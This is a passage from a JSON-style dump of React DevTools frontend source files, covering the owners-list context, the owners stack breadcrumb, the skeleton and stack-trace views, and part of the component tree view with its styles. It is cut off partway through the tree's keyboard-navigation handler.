    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactContext} from 'shared/ReactTypes';\n\nimport * as React from 'react';\nimport {createContext, useCallback, useContext, useEffect} from 'react';\nimport {createResource} from '../../cache';\nimport {BridgeContext, StoreContext} from '../context';\nimport {TreeDispatcherContext, TreeStateContext} from './TreeContext';\nimport {backendToFrontendSerializedElementMapper} from 'react-devtools-shared/src/utils';\n\nimport type {OwnersList} from 'react-devtools-shared/src/backend/types';\nimport type {\n  Element,\n  SerializedElement,\n} from 'react-devtools-shared/src/frontend/types';\nimport type {Resource, Thenable} from '../../cache';\n\ntype Context = (id: number) => Array<SerializedElement> | null;\n\nconst OwnersListContext: ReactContext<Context> = createContext<Context>(\n  ((null: any): Context),\n);\nOwnersListContext.displayName = 'OwnersListContext';\n\ntype ResolveFn = (ownersList: Array<SerializedElement> | null) => void;\ntype InProgressRequest = {\n  promise: Thenable<Array<SerializedElement>>,\n  resolveFn: ResolveFn,\n};\n\nconst inProgressRequests: WeakMap<Element, InProgressRequest> = new WeakMap();\nconst resource: Resource<\n  Element,\n  Element,\n  Array<SerializedElement>,\n> = createResource(\n  (element: Element) => {\n    const request = inProgressRequests.get(element);\n    if (request != null) {\n      return request.promise;\n    }\n\n    let resolveFn:\n      | ResolveFn\n      | ((\n          result: Promise<Array<SerializedElement>> | Array<SerializedElement>,\n        ) => void) = ((null: any): ResolveFn);\n    const promise = new Promise(resolve => {\n      resolveFn = resolve;\n    });\n\n    // $FlowFixMe[incompatible-call] found when upgrading Flow\n    inProgressRequests.set(element, {promise, resolveFn});\n\n    return (promise: $FlowFixMe);\n  },\n  (element: Element) => element,\n  {useWeakMap: true},\n);\n\ntype Props = {\n  children: React$Node,\n};\n\nfunction useChangeOwnerAction(): (nextOwnerID: number) => void {\n  const bridge = useContext(BridgeContext);\n  const store = useContext(StoreContext);\n  const treeAction = useContext(TreeDispatcherContext);\n\n  return useCallback(\n    function changeOwnerAction(nextOwnerID: number) {\n      treeAction({type: 'SELECT_OWNER', payload: nextOwnerID});\n\n      const element = store.getElementByID(nextOwnerID);\n      if (element !== null) {\n        if (!inProgressRequests.has(element)) {\n          let resolveFn:\n            | ResolveFn\n            | ((\n                result:\n                  | Promise<Array<SerializedElement>>\n                  | Array<SerializedElement>,\n              ) => void) = ((null: any): ResolveFn);\n          const promise = new Promise(resolve => {\n            resolveFn = resolve;\n          });\n\n          // $FlowFixMe[incompatible-call] found when upgrading Flow\n          inProgressRequests.set(element, {promise, resolveFn});\n        }\n\n        const rendererID = store.getRendererIDForElement(nextOwnerID);\n        if (rendererID !== null) {\n          bridge.send('getOwnersList', {id: nextOwnerID, rendererID});\n        }\n      }\n    },\n    [bridge, store],\n  );\n}\n\nfunction OwnersListContextController({children}: Props): React.Node {\n  const bridge = useContext(BridgeContext);\n  const store = useContext(StoreContext);\n  const {ownerID} = useContext(TreeStateContext);\n\n  const read = useCallback(\n    (id: number) => {\n      const element = store.getElementByID(id);\n      if (element !== null) {\n        return resource.read(element);\n      } else {\n        return null;\n      }\n    },\n    [store],\n  );\n\n  useEffect(() => {\n    const onOwnersList = (ownersList: OwnersList) => {\n      const id = ownersList.id;\n\n      const element = store.getElementByID(id);\n      if (element !== null) {\n        const request = inProgressRequests.get(element);\n        if (request != null) {\n          request.resolveFn(\n            ownersList.owners === null\n              ? null\n              : ownersList.owners.map(backendToFrontendSerializedElementMapper),\n          );\n        }\n      }\n    };\n\n    bridge.addListener('ownersList', onOwnersList);\n    return () => bridge.removeListener('ownersList', onOwnersList);\n  }, [bridge, store]);\n\n  // This effect requests an updated owners list any time the selected owner changes\n  useEffect(() => {\n    if (ownerID !== null) {\n      const rendererID = store.getRendererIDForElement(ownerID);\n      if (rendererID !== null) {\n        bridge.send('getOwnersList', {id: ownerID, rendererID});\n      }\n    }\n\n    return () => {};\n  }, [bridge, ownerID, store]);\n\n  return (\n    <OwnersListContext.Provider value={read}>\n      {children}\n    </OwnersListContext.Provider>\n  );\n}\n\nexport {OwnersListContext, OwnersListContextController, useChangeOwnerAction};\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/OwnersStack.css",
    "content": ".OwnerStack {\n  max-width: 100%;\n  overflow-x: auto;\n  flex: 1;\n  display: flex;\n  align-items: center;\n  position: relative;\n}\n\n.Component,\n.Component[data-reach-menu-item] {\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-normal);\n  user-select: none;\n  white-space: nowrap;\n  display: flex;\n  align-items: center;\n}\n\n.Component[data-reach-menu-item][data-selected],\n.Component[data-reach-menu-item][data-selected]:hover {\n  color: var(--color-text-selected);\n  background: var(--color-background-selected);\n}\n.Component[data-reach-menu-item][data-selected]:focus {\n  outline: none;\n}\n\n.Bar {\n  display: flex;\n  flex: 1 1 auto;\n  overflow-x: auto;\n}\n\n.OwnerStackFlatListContainer {\n  display: inline-flex;\n  align-items: baseline;\n}\n\n.OwnerStackFlatListSeparator {\n  user-select: none;\n}\n\n.VRule {\n  flex: 0 0 auto;\n  height: 20px;\n  width: 1px;\n  background-color: var(--color-border);\n  margin: 0 0.5rem;\n}\n\n.MenuButton {\n  border-radius: 0.25rem;\n  display: inline-flex;\n  align-items: center;\n  padding: 0;\n  flex: 0 0 auto;\n  border: none;\n  background: var(--color-button-background);\n  color: var(--color-button);\n}\n.MenuButtonContent {\n  display: inline-flex;\n  align-items: center;\n  border-radius: 0.25rem;\n  padding: 0.25rem;\n}\n.MenuButton:hover {\n  color: var(--color-button-hover);\n}\n.MenuButton[aria-expanded='true'],\n.MenuButton[aria-expanded='true']:active {\n  color: var(--color-button-active);\n  outline: none;\n}\n\n.MenuButton:focus,\n.MenuButtonContent:focus {\n  outline: none;\n}\n.MenuButton:focus > .MenuButtonContent {\n  background: var(--color-button-background-focus);\n}\n\n.Modal[data-reach-menu-list] {\n  display: inline-flex;\n  flex-direction: column;\n  background-color: var(--color-background);\n  color: var(--color-button);\n  padding: 0.25rem 0;\n  padding-right: 0;\n  border: 1px solid var(--color-border);\n  border-radius: 0.25rem;\n  max-height: 10rem;\n  overflow: auto;\n\n  /* Make sure this is above the DevTools, which are above the Overlay */\n  z-index: 10000002;\n  position: relative;\n\n  /* Reach UI tries to set its own :( */\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-normal);\n}\n\n.NotInStore,\n.NotInStore:hover {\n  color: var(--color-dimmest);\n}\n\n.BadgesBlock {\n  margin-left: 0.25rem;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/OwnersStack.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nimport * as React from 'react';\nimport {\n  Fragment,\n  useCallback,\n  useContext,\n  useLayoutEffect,\n  useReducer,\n  useRef,\n  useState,\n} from 'react';\nimport Button from '../Button';\nimport ButtonIcon from '../ButtonIcon';\nimport Toggle from '../Toggle';\nimport ElementBadges from './ElementBadges';\nimport {OwnersListContext, useChangeOwnerAction} from './OwnersListContext';\nimport {TreeDispatcherContext, TreeStateContext} from './TreeContext';\nimport {useIsOverflowing} from '../hooks';\nimport {StoreContext} from '../context';\nimport Tooltip from '../Components/reach-ui/tooltip';\nimport {\n  Menu,\n  MenuList,\n  MenuButton,\n  MenuItem,\n} from '../Components/reach-ui/menu-button';\n\nimport type {SerializedElement} from 'react-devtools-shared/src/frontend/types';\n\nimport styles from './OwnersStack.css';\n\ntype SelectOwner = (owner: SerializedElement | null) => void;\n\ntype ACTION_UPDATE_OWNER_ID = {\n  type: 'UPDATE_OWNER_ID',\n  ownerID: number | null,\n  owners: Array<SerializedElement>,\n};\ntype ACTION_UPDATE_SELECTED_INDEX = {\n  type: 'UPDATE_SELECTED_INDEX',\n  selectedIndex: number,\n};\n\ntype Action = ACTION_UPDATE_OWNER_ID | ACTION_UPDATE_SELECTED_INDEX;\n\ntype State = {\n  ownerID: number | null,\n  owners: Array<SerializedElement>,\n  selectedIndex: number,\n};\n\nfunction dialogReducer(state: State, action: Action) {\n  switch (action.type) {\n    case 'UPDATE_OWNER_ID':\n      const selectedIndex = action.owners.findIndex(\n        owner => owner.id === action.ownerID,\n      );\n      return {\n        ownerID: action.ownerID,\n        owners: action.owners,\n        selectedIndex,\n      };\n    case 'UPDATE_SELECTED_INDEX':\n      return {\n        ...state,\n        selectedIndex: action.selectedIndex,\n      };\n    default:\n      throw new Error(`Invalid action \"${action.type}\"`);\n  }\n}\n\ntype OwnerStackFlatListProps = {\n  owners: Array<SerializedElement>,\n  selectedIndex: number,\n  selectOwner: SelectOwner,\n  setElementsTotalWidth: (width: number) => void,\n};\n\nfunction OwnerStackFlatList({\n  owners,\n  selectedIndex,\n  selectOwner,\n  setElementsTotalWidth,\n}: OwnerStackFlatListProps): React.Node {\n  const containerRef = useRef<HTMLDivElement | null>(null);\n  useLayoutEffect(() => {\n    const container = containerRef.current;\n    if (container === null) {\n      return;\n    }\n\n    const ResizeObserver = container.ownerDocument.defaultView.ResizeObserver;\n    const observer = new ResizeObserver(entries => {\n      const entry = entries[0];\n      setElementsTotalWidth(entry.contentRect.width);\n    });\n\n    observer.observe(container);\n    return observer.disconnect.bind(observer);\n  }, []);\n\n  return (\n    <div className={styles.OwnerStackFlatListContainer} ref={containerRef}>\n      {owners.map((owner, index) => (\n        <Fragment key={index}>\n          <ElementView\n            owner={owner}\n            isSelected={index === selectedIndex}\n            selectOwner={selectOwner}\n          />\n          {index < owners.length - 1 && (\n            <span className={styles.OwnerStackFlatListSeparator}>»</span>\n          )}\n        </Fragment>\n      ))}\n    </div>\n  );\n}\n\nexport default function OwnerStack(): React.Node {\n  const read = useContext(OwnersListContext);\n  const {ownerID} = useContext(TreeStateContext);\n  const treeDispatch = useContext(TreeDispatcherContext);\n  const changeOwnerAction = useChangeOwnerAction();\n\n  const [state, dispatch] = useReducer<State, State, Action>(dialogReducer, {\n    ownerID: null,\n    owners: [],\n    selectedIndex: 0,\n  });\n\n  // When an owner is selected, we either need to update the selected index, or we need to fetch a new list of owners.\n  // We use a reducer here so that we can avoid fetching a new list unless the owner ID has actually changed.\n  if (ownerID === null) {\n    dispatch({\n      type: 'UPDATE_OWNER_ID',\n      ownerID: null,\n      owners: [],\n    });\n  } else if (ownerID !== state.ownerID) {\n    const isInStore =\n      state.owners.findIndex(owner => owner.id === ownerID) >= 0;\n    dispatch({\n      type: 'UPDATE_OWNER_ID',\n      ownerID,\n      owners: isInStore ? state.owners : read(ownerID) || [],\n    });\n  }\n\n  const {owners, selectedIndex} = state;\n\n  const selectOwner = useCallback<SelectOwner>(\n    (owner: SerializedElement | null) => {\n      if (owner !== null) {\n        const index = owners.indexOf(owner);\n        dispatch({\n          type: 'UPDATE_SELECTED_INDEX',\n          selectedIndex: index >= 0 ? index : 0,\n        });\n        changeOwnerAction(owner.id);\n      } else {\n        dispatch({\n          type: 'UPDATE_SELECTED_INDEX',\n          selectedIndex: 0,\n        });\n        treeDispatch({type: 'RESET_OWNER_STACK'});\n      }\n    },\n    [owners, treeDispatch],\n  );\n\n  const [elementsTotalWidth, setElementsTotalWidth] = useState(0);\n  const elementsBarRef = useRef<HTMLDivElement | null>(null);\n  const isOverflowing = useIsOverflowing(elementsBarRef, elementsTotalWidth);\n\n  const selectedOwner = owners[selectedIndex];\n\n  return (\n    <div className={styles.OwnerStack}>\n      <div className={styles.Bar} ref={elementsBarRef}>\n        {isOverflowing ? (\n          <Fragment>\n            <ElementsDropdown\n              owners={owners}\n              selectedIndex={selectedIndex}\n              selectOwner={selectOwner}\n            />\n            <BackToOwnerButton\n              owners={owners}\n              selectedIndex={selectedIndex}\n              selectOwner={selectOwner}\n            />\n            {selectedOwner != null && (\n              <ElementView\n                owner={selectedOwner}\n                isSelected={true}\n                selectOwner={selectOwner}\n              />\n            )}\n          </Fragment>\n        ) : (\n          <OwnerStackFlatList\n            owners={owners}\n            selectedIndex={selectedIndex}\n            selectOwner={selectOwner}\n            setElementsTotalWidth={setElementsTotalWidth}\n          />\n        )}\n      </div>\n      <div className={styles.VRule} />\n      <Button onClick={() => selectOwner(null)} title=\"Back to tree view\">\n        <ButtonIcon type=\"close\" />\n      </Button>\n    </div>\n  );\n}\n\ntype ElementsDropdownProps = {\n  owners: Array<SerializedElement>,\n  selectedIndex: number,\n  selectOwner: SelectOwner,\n};\nfunction ElementsDropdown({owners, selectOwner}: ElementsDropdownProps) {\n  const store = useContext(StoreContext);\n\n  const menuItems = [];\n  for (let index = owners.length - 1; index >= 0; index--) {\n    const owner = owners[index];\n    const isInStore = store.containsElement(owner.id);\n    menuItems.push(\n      <MenuItem\n        key={owner.id}\n        className={`${styles.Component} ${isInStore ? '' : styles.NotInStore}`}\n        onSelect={() => (isInStore ? selectOwner(owner) : null)}>\n        {owner.displayName}\n\n        <ElementBadges\n          hocDisplayNames={owner.hocDisplayNames}\n          environmentName={owner.env}\n          compiledWithForget={owner.compiledWithForget}\n          className={styles.BadgesBlock}\n        />\n      </MenuItem>,\n    );\n  }\n\n  return (\n    <Menu>\n      <MenuButton className={styles.MenuButton}>\n        <Tooltip label=\"Open elements dropdown\">\n          <span className={styles.MenuButtonContent} tabIndex={-1}>\n            <ButtonIcon type=\"more\" />\n          </span>\n        </Tooltip>\n      </MenuButton>\n      <MenuList className={styles.Modal}>{menuItems}</MenuList>\n    </Menu>\n  );\n}\n\ntype ElementViewProps = {\n  isSelected: boolean,\n  owner: SerializedElement,\n  selectOwner: SelectOwner,\n  ...\n};\nfunction ElementView({isSelected, owner, selectOwner}: ElementViewProps) {\n  const store = useContext(StoreContext);\n\n  const {displayName, hocDisplayNames, compiledWithForget} = owner;\n  const isInStore = store.containsElement(owner.id);\n\n  const handleChange = useCallback(() => {\n    if (isInStore) {\n      selectOwner(owner);\n    }\n  }, [isInStore, selectOwner, owner]);\n\n  return (\n    <Toggle\n      className={`${styles.Component} ${isInStore ? '' : styles.NotInStore}`}\n      isChecked={isSelected}\n      onChange={handleChange}>\n      {displayName}\n\n      <ElementBadges\n        hocDisplayNames={hocDisplayNames}\n        environmentName={owner.env}\n        compiledWithForget={compiledWithForget}\n        className={styles.BadgesBlock}\n      />\n    </Toggle>\n  );\n}\n\ntype BackToOwnerButtonProps = {\n  owners: Array<SerializedElement>,\n  selectedIndex: number,\n  selectOwner: SelectOwner,\n};\nfunction BackToOwnerButton({\n  owners,\n  selectedIndex,\n  selectOwner,\n}: BackToOwnerButtonProps) {\n  const store = useContext(StoreContext);\n\n  if (selectedIndex <= 0) {\n    return null;\n  }\n\n  const owner = owners[selectedIndex - 1];\n  const isInStore = store.containsElement(owner.id);\n\n  return (\n    <Button\n      className={isInStore ? undefined : styles.NotInStore}\n      onClick={() => (isInStore ? selectOwner(owner) : null)}\n      title={`Up to ${owner.displayName || 'owner'}`}>\n      <ButtonIcon type=\"previous\" />\n    </Button>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/Skeleton.css",
    "content": ".root {\n  border-radius: 0.25rem;\n  animation: pulse 2s infinite;\n}\n\n@keyframes pulse {\n  0%, 100% {\n    background-color: none;\n  }\n  50% {\n    background-color: var(--color-dimmest);\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/Skeleton.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nimport styles from './Skeleton.css';\n\ntype Props = {\n  height: number | string,\n  width: number | string,\n};\n\nfunction Skeleton({height, width}: Props): React.Node {\n  return <div className={styles.root} style={{height, width}} />;\n}\n\nexport default Skeleton;\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/StackTraceView.css",
    "content": ".StackTraceView {\n  padding: 0.25rem;\n}\n\n.CallSite, .BuiltInCallSite {\n  display: flex;\n  padding-left: 1rem;\n  white-space-collapse: preserve;\n}\n\n.IgnoredCallSite, .BuiltInCallSite {\n  display: none;\n}\n\n.CallSite + .BuiltInCallSite {\n  display: block;\n}\n\n.Link {\n  color: var(--color-link);\n  white-space: pre;\n  overflow: hidden;\n  text-overflow: ellipsis;\n  cursor: pointer;\n  border-radius: 0.125rem;\n}\n\n.Link:hover {\n  background-color: var(--color-background-hover);\n}\n\n.ElementBadges {\n  margin-left: 0.25rem;\n}\n\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/StackTraceView.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {use, useContext} from 'react';\n\nimport useOpenResource from '../useOpenResource';\n\nimport ElementBadges from './ElementBadges';\n\nimport styles from './StackTraceView.css';\n\nimport type {ReactStackTrace, ReactCallSite} from 'shared/ReactTypes';\n\nimport type {SourceMappedLocation} from 'react-devtools-shared/src/symbolicateSource';\n\nimport FetchFileWithCachingContext from './FetchFileWithCachingContext';\n\nimport {symbolicateSourceWithCache} from 'react-devtools-shared/src/symbolicateSource';\n\nimport formatLocationForDisplay from './formatLocationForDisplay';\n\ntype CallSiteViewProps = {\n  callSite: ReactCallSite,\n  environmentName: null | string,\n};\n\nexport function CallSiteView({\n  callSite,\n  environmentName,\n}: CallSiteViewProps): React.Node {\n  const fetchFileWithCaching = useContext(FetchFileWithCachingContext);\n\n  const [virtualFunctionName, virtualURL, virtualLine, virtualColumn] =\n    callSite;\n\n  const symbolicatedCallSite: null | SourceMappedLocation =\n    fetchFileWithCaching !== null\n      ? use(\n          symbolicateSourceWithCache(\n            fetchFileWithCaching,\n            virtualURL,\n            virtualLine,\n            virtualColumn,\n          ),\n        )\n      : null;\n\n  const [linkIsEnabled, viewSource] = useOpenResource(\n    callSite,\n    symbolicatedCallSite == null ? null : symbolicatedCallSite.location,\n  );\n  const [functionName, url, line, column] =\n    symbolicatedCallSite !== null ? symbolicatedCallSite.location : callSite;\n  const ignored =\n    symbolicatedCallSite !== null ? symbolicatedCallSite.ignored : false;\n  // TODO: Make an option to be able to toggle the display of ignore listed rows.\n  // Ideally this UI should be higher than a single Stack Trace so that there's not\n  // multiple buttons in a single inspection taking up space.\n\n  const isBuiltIn = url === '' || url.startsWith('<anonymous>'); // This looks like a fake anonymous through eval.\n  return (\n    <div\n      className={\n        ignored\n          ? styles.IgnoredCallSite\n          : isBuiltIn\n            ? styles.BuiltInCallSite\n            : styles.CallSite\n      }>\n      {functionName || virtualFunctionName}\n      {!isBuiltIn && (\n        <>\n          {' @ '}\n          <span\n            className={linkIsEnabled ? styles.Link : null}\n            onClick={viewSource}\n            title={url + ':' + line}>\n            {formatLocationForDisplay(url, line, column)}\n          </span>\n        </>\n      )}\n      <ElementBadges\n        className={styles.ElementBadges}\n        environmentName={environmentName}\n      />\n    </div>\n  );\n}\n\ntype Props = {\n  stack: ReactStackTrace,\n  environmentName: null | string,\n};\n\nexport default function StackTraceView({\n  stack,\n  environmentName,\n}: Props): React.Node {\n  return (\n    <div className={styles.StackTraceView}>\n      {stack.map((callSite, index) => (\n        <CallSiteView\n          key={index}\n          callSite={callSite}\n          environmentName={\n            // Badge last row\n            // TODO: If we start ignore listing the last row, we should badge the last\n            // non-ignored row.\n            index === stack.length - 1 ? environmentName : null\n          }\n        />\n      ))}\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/Tree.css",
    "content": ".Tree {\n  position: relative;\n  height: 100%;\n  width: 100%;\n  display: flex;\n  flex-direction: column;\n  border-top: 1px solid var(--color-border);\n}\n\n.InnerElementType {\n  position: relative;\n}\n\n.VerticalDelimiter {\n  position: absolute;\n  width: 0.025rem;\n  background: #b0b0b0;\n}\n\n.SearchInput {\n  flex: 0 0 42px;\n  display: flex;\n  align-items: center;\n  border-bottom: 1px solid var(--color-border);\n  padding: 0.5rem;\n}\n\n.AutoSizerWrapper {\n  width: 100%;\n  overflow: hidden;\n  flex: 1 0 auto;\n}\n.AutoSizerWrapper:focus {\n  outline: none;\n}\n\n.List {\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-normal);\n  line-height: var(--line-height-data);\n  user-select: none;\n}\n\n.VRule {\n  height: 20px;\n  width: 1px;\n  flex: 0 0 1px;\n  margin: 0 0.5rem;\n  background-color: var(--color-border);\n}\n\n.Loading {\n  height: 100%;\n  padding-left: 0.5rem;\n  display: flex;\n  align-items: center;\n  flex: 1;\n  justify-content: flex-start;\n  font-size: var(--font-size-sans-large);\n  color: var(--color-dim);\n}\n\n.IconAndCount {\n  display: flex;\n  align-items: center;\n  font-size: var(--font-size-sans-normal);\n}\n\n.ErrorIcon, .WarningIcon {\n  width: 0.75rem;\n  height: 0.75rem;\n  margin-left: 0.25rem;\n  margin-right: 0.25rem;\n  flex: 0 0 auto;\n}\n.ErrorIcon {\n  color: var(--color-console-error-icon);\n}\n.WarningIcon {\n  color: var(--color-console-warning-icon);\n}\n\n.ZeroElementsNotice {\n  padding-left: 1em;\n  opacity: 0;\n  animation: fadeIn 0.5s forwards;\n  animation-delay: 2s;\n}\n@keyframes fadeIn {\n  0% {\n    opacity: 0;\n  }\n  100% {\n    opacity: 1;\n  }\n}\n\n.Link {\n  color: var(--color-button-active);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/Tree.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {\n  Fragment,\n  Suspense,\n  startTransition,\n  useCallback,\n  useContext,\n  useEffect,\n  useMemo,\n  useRef,\n  useState,\n} from 'react';\nimport AutoSizer from 'react-virtualized-auto-sizer';\nimport {FixedSizeList} from 'react-window';\nimport {TreeDispatcherContext, TreeStateContext} from './TreeContext';\nimport Icon from '../Icon';\nimport {SettingsContext} from '../Settings/SettingsContext';\nimport {BridgeContext, StoreContext, OptionsContext} from '../context';\nimport ComponentsTreeElement from './Element';\nimport InspectHostNodesToggle from './InspectHostNodesToggle';\nimport OwnersStack from './OwnersStack';\nimport ComponentSearchInput from './ComponentSearchInput';\nimport SettingsModalContextToggle from 'react-devtools-shared/src/devtools/views/Settings/SettingsModalContextToggle';\nimport TreeFocusedContext from './TreeFocusedContext';\nimport {useHighlightHostInstance, useSubscription} from '../hooks';\nimport {clearErrorsAndWarnings as clearErrorsAndWarningsAPI} from 'react-devtools-shared/src/backendAPI';\nimport styles from './Tree.css';\nimport ButtonIcon from '../ButtonIcon';\nimport Button from '../Button';\nimport {logEvent} from 'react-devtools-shared/src/Logger';\nimport {useExtensionComponentsPanelVisibility} from 'react-devtools-shared/src/frontend/hooks/useExtensionComponentsPanelVisibility';\nimport {ElementTypeActivity} from 'react-devtools-shared/src/frontend/types';\nimport {useChangeOwnerAction} from './OwnersListContext';\nimport {useChangeActivitySliceAction} from '../SuspenseTab/ActivityList';\nimport ActivitySlice from './ActivitySlice';\n\n// Indent for each node at level N, compared to node at level N - 1.\nconst INDENTATION_SIZE = 10;\n\nfunction calculateElementOffset(elementDepth: number): number {\n  return elementDepth * INDENTATION_SIZE;\n}\n\nexport type ItemData = {\n  isNavigatingWithKeyboard: boolean,\n  onElementMouseEnter: (id: number) => void,\n  treeFocused: boolean,\n  calculateElementOffset: (depth: number) => number,\n};\n\nfunction calculateInitialScrollOffset(\n  inspectedElementIndex: number | null,\n  elementHeight: number,\n): number | void {\n  if (inspectedElementIndex === null) {\n    return undefined;\n  }\n\n  if (inspectedElementIndex < 3) {\n    return undefined;\n  }\n\n  // Make 3 elements on top of the inspected one visible\n  return (inspectedElementIndex - 3) * elementHeight;\n}\n\nexport default function Tree(): React.Node {\n  const dispatch = useContext(TreeDispatcherContext);\n  const {\n    activityID,\n    numElements,\n    ownerID,\n    searchIndex,\n    searchResults,\n    inspectedElementID,\n    inspectedElementIndex,\n  } = useContext(TreeStateContext);\n  const bridge = useContext(BridgeContext);\n  const store = useContext(StoreContext);\n  const {hideSettings} = useContext(OptionsContext);\n  const {lineHeight} = useContext(SettingsContext);\n\n  const [isNavigatingWithKeyboard, setIsNavigatingWithKeyboard] =\n    useState(false);\n  const {highlightHostInstance, clearHighlightHostInstance} =\n    useHighlightHostInstance();\n  const [treeFocused, setTreeFocused] = useState<boolean>(false);\n  const componentsPanelVisible = useExtensionComponentsPanelVisibility(bridge);\n\n  const treeRef = useRef<HTMLDivElement | null>(null);\n  const focusTargetRef = useRef<HTMLDivElement | null>(null);\n  const listDOMElementRef = useRef<Element | null>(null);\n  const setListDOMElementRef = useCallback((listDOMElement: Element) => {\n    listDOMElementRef.current = listDOMElement;\n\n    // Controls the initial horizontal offset of the Tree if the element was pre-selected. For example, via Elements panel in browser DevTools.\n    // Initial vertical offset is controlled via initialScrollOffset prop of the FixedSizeList component.\n    if (\n      !componentsPanelVisible ||\n      inspectedElementIndex == null ||\n      listDOMElement == null\n    ) {\n      return;\n    }\n\n    const element = store.getElementAtIndex(inspectedElementIndex);\n    if (element == null) {\n      return;\n    }\n\n    const viewportLeft = listDOMElement.scrollLeft;\n    const viewportRight = viewportLeft + listDOMElement.clientWidth;\n    const elementLeft = calculateElementOffset(element.depth);\n    // Because of virtualization, this element might not be rendered yet; we can't look up its width.\n    // Assuming that it may take up to the half of the viewport.\n    const elementRight = elementLeft + listDOMElement.clientWidth / 2;\n\n    const isElementFullyVisible =\n      elementLeft >= viewportLeft && elementRight <= viewportRight;\n\n    if (!isElementFullyVisible) {\n      const horizontalDelta =\n        Math.min(0, elementLeft - viewportLeft) +\n        Math.max(0, elementRight - viewportRight);\n\n      // $FlowExpectedError[incompatible-call] Flow doesn't support instant as an option for behavior.\n      listDOMElement.scrollBy({\n        left: horizontalDelta,\n        behavior: 'instant',\n      });\n    }\n  }, []);\n\n  useEffect(() => {\n    if (!componentsPanelVisible || inspectedElementIndex == null) {\n      return;\n    }\n\n    const listDOMElement = listDOMElementRef.current;\n    if (listDOMElement == null) {\n      return;\n    }\n\n    const viewportHeight = listDOMElement.clientHeight;\n    const viewportLeft = listDOMElement.scrollLeft;\n    const viewportRight = viewportLeft + listDOMElement.clientWidth;\n    const viewportTop = listDOMElement.scrollTop;\n    const viewportBottom = viewportTop + viewportHeight;\n\n    const element = store.getElementAtIndex(inspectedElementIndex);\n    if (element == null) {\n      return;\n    }\n    const elementLeft = calculateElementOffset(element.depth);\n    // Because of virtualization, this element might not be rendered yet; we can't look up its width.\n    // Assuming that it may take up to the half of the viewport.\n    const elementRight = elementLeft + listDOMElement.clientWidth / 2;\n    const elementTop = inspectedElementIndex * lineHeight;\n    const elementBottom = elementTop + lineHeight;\n\n    const isElementFullyVisible =\n      elementTop >= viewportTop &&\n      elementBottom <= viewportBottom &&\n      elementLeft >= viewportLeft &&\n      elementRight <= viewportRight;\n\n    if (!isElementFullyVisible) {\n      const verticalDelta =\n        Math.min(0, elementTop - viewportTop) +\n        Math.max(0, elementBottom - viewportBottom);\n      const horizontalDelta =\n        Math.min(0, elementLeft - viewportLeft) +\n        Math.max(0, elementRight - viewportRight);\n\n      // $FlowExpectedError[incompatible-call] Flow doesn't support instant as an option for behavior.\n      listDOMElement.scrollBy({\n        top: verticalDelta,\n        left: horizontalDelta,\n        behavior: treeFocused && ownerID == null ? 'smooth' : 'instant',\n      });\n    }\n  }, [inspectedElementIndex, componentsPanelVisible, lineHeight]);\n\n  // Picking an element in the inspector should put focus into the tree.\n  // If possible, navigation works right after picking a node.\n  // NOTE: This is not guaranteed to work, because browser extension panels are hosted inside an iframe.\n  useEffect(() => {\n    function handleStopInspectingHost(didSelectNode: boolean) {\n      if (didSelectNode && focusTargetRef.current !== null) {\n        focusTargetRef.current.focus();\n        logEvent({\n          event_name: 'select-element',\n          metadata: {source: 'inspector'},\n        });\n      }\n    }\n    bridge.addListener('stopInspectingHost', handleStopInspectingHost);\n    return () =>\n      bridge.removeListener('stopInspectingHost', handleStopInspectingHost);\n  }, [bridge]);\n\n  // Navigate the tree with up/down arrow keys.\n  useEffect(() => {\n    if (treeRef.current === null) {\n      return () => {};\n    }\n\n    const handleKeyDown = (event: KeyboardEvent) => {\n      if ((event: any).target.tagName === 'INPUT' || event.defaultPrevented) {\n        return;\n      }\n\n      let element;\n      switch (event.key) {\n        case 'ArrowDown':\n          event.preventDefault();\n          if (event.altKey) {\n            dispatch({type: 'SELECT_NEXT_SIBLING_IN_TREE'});\n          } else {\n            dispatch({type: 'SELECT_NEXT_ELEMENT_IN_TREE'});\n          }\n          break;\n        case 'ArrowLeft':\n          event.preventDefault();\n          element =\n            inspectedElementID !== null\n              ? store.getElementByID(inspectedElementID)\n              : null;\n          if (element !== null) {\n            if (event.altKey) {\n              if (element.ownerID !== null) {\n                dispatch({type: 'SELECT_OWNER_LIST_PREVIOUS_ELEMENT_IN_TREE'});\n              }\n            } else {\n              if (element.children.length > 0 && !element.isCollapsed) {\n                store.toggleIsCollapsed(element.id, true);\n              } else {\n                dispatch({type: 'SELECT_PARENT_ELEMENT_IN_TREE'});\n              }\n            }\n          }\n          break;\n        case 'ArrowRight':\n          event.preventDefault();\n          element =\n            inspectedElementID !== null\n              ? store.getElementByID(inspectedElementID)\n              : null;\n          if (element !== null) {\n            if (event.altKey) {\n              dispatch({type: 'SELECT_OWNER_LIST_NEXT_ELEMENT_IN_TREE'});\n            } else {\n              if (element.children.length > 0 && 